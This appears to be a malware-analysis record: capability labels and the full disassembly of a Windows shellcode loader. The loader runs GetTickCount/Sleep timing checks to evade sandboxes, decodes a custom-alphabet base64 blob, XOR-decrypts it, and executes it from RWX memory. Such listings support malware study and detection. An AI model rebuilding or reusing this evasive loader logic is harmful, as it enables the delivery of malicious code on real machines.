Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbx
push rdi
sub rsp, 0x858
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x830], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
sub edi, ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp edi, 0x3e8
jne 0x14000106b
cmp eax, 1
jne 0x14000106b
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x140001098
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jne 0x140001098
mov ecx, 0x16
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x870], rbp
lea r8, [0x140003290]
mov qword [rsp + 0x880], r12
lea rdx, str.S_MRL
xor r9d, r9d
mov qword [rsp + 0x850], r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ebp, ebp
mov r12d, 0x39b
cmp byte [0x14000556f], 0x3d
mov ecx, ebp
mov ebx, ebp
setne cl
add ecx, r12d
cmp byte [0x14000556e], 0x3d
lea eax, [rcx - 1]
cmovne eax, ecx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x20], rax
mov r13, rax
test rax, rax
je 0x140001222
mov qword [rsp + 0x878], rsi
lea r13, [0x1400050a2]
mov qword [rsp + 0x848], r14
lea r12, str.Ag9jCXabcJKLV2345WmnopuvwxYZklMhi78NOPrstTUByz0defDEFGHI16_QRSq
mov qword [rsp + 0x840], r15
mov rdi, rax
mov r15d, ebp
movzx eax, byte [r15 + r13 - 2]
cmp al, 0x3d
jne 0x140001143
mov r14d, ebp
jmp 0x140001154
mov edx, eax
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov r14, rax
sub r14d, r12d
movzx eax, byte [r15 + r13 - 1]
cmp al, 0x3d
jne 0x140001162
mov esi, ebp
jmp 0x140001173
mov edx, eax
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rsi, rax
sub esi, r12d
movzx eax, byte [r15 + r13]
cmp al, 0x3d
jne 0x140001180
mov ebx, ebp
jmp 0x140001191
mov edx, eax
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rbx, rax
sub ebx, r12d
movzx eax, byte [r15 + r13 + 1]
cmp al, 0x3d
jne 0x14000119f
mov edx, ebp
jmp 0x1400011b0
mov edx, eax
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rdx, rax
sub edx, r12d
shl r14b, 2
mov ecx, esi
sar ecx, 4
or cl, r14b
mov byte [rdi], cl
inc rdi
cmp byte [r15 + r13], 0x3d
je 0x1400011d9
shl sil, 4
mov eax, ebx
sar eax, 2
or al, sil
mov byte [rdi], al
inc rdi
cmp byte [r15 + r13 + 1], 0x3d
je 0x1400011eb
shl bl, 6
or bl, dl
mov byte [rdi], bl
inc rdi
add r15, 4
cmp r15, 0x4d0
jl 0x140001134
mov r15, qword [rsp + 0x840]
mov r12d, 0x39b
mov r14, qword [rsp + 0x848]
mov rbx, rbp
mov rsi, qword [rsp + 0x878]
mov r13, qword [rsp + 0x20]
mov rax, r12
cmp byte [rax + r13], bpl
jne 0x140001239
dec r12d
sub rax, 1
jns 0x140001225
jmp 0x1400012be
xor ecx, ecx
mov edx, 0x800
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdi, str.AeB79_ra0_3_
mov r9, 0xffffffffffffffff
mov rbx, rax
inc r9
cmp byte [rdi + r9], bpl
jne 0x140001261
movsxd r11, r12d
inc r11
test r11, r11
jle 0x1400012a5
lea rax, [rsp + 0x30]
mov r10, rbp
sub r13, rax
mov eax, ebp
lea rcx, [rsp + 0x30]
cdq
add rcx, r10
idiv r9d
inc ebp
inc r10
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor al, byte [rcx + r13]
mov byte [rcx], al
cmp r10, r11
jl 0x140001280
mov rcx, rbx
mov byte [rsp + r11 + 0x30], 0
lea rdx, [rsp + 0x30]
mov r8d, 0x800
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rsp + 0x850]
xor eax, eax
mov r12, qword [rsp + 0x880]
mov rbp, qword [rsp + 0x870]
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.140001320
add rsp, 0x858
pop rdi
pop rbx
ret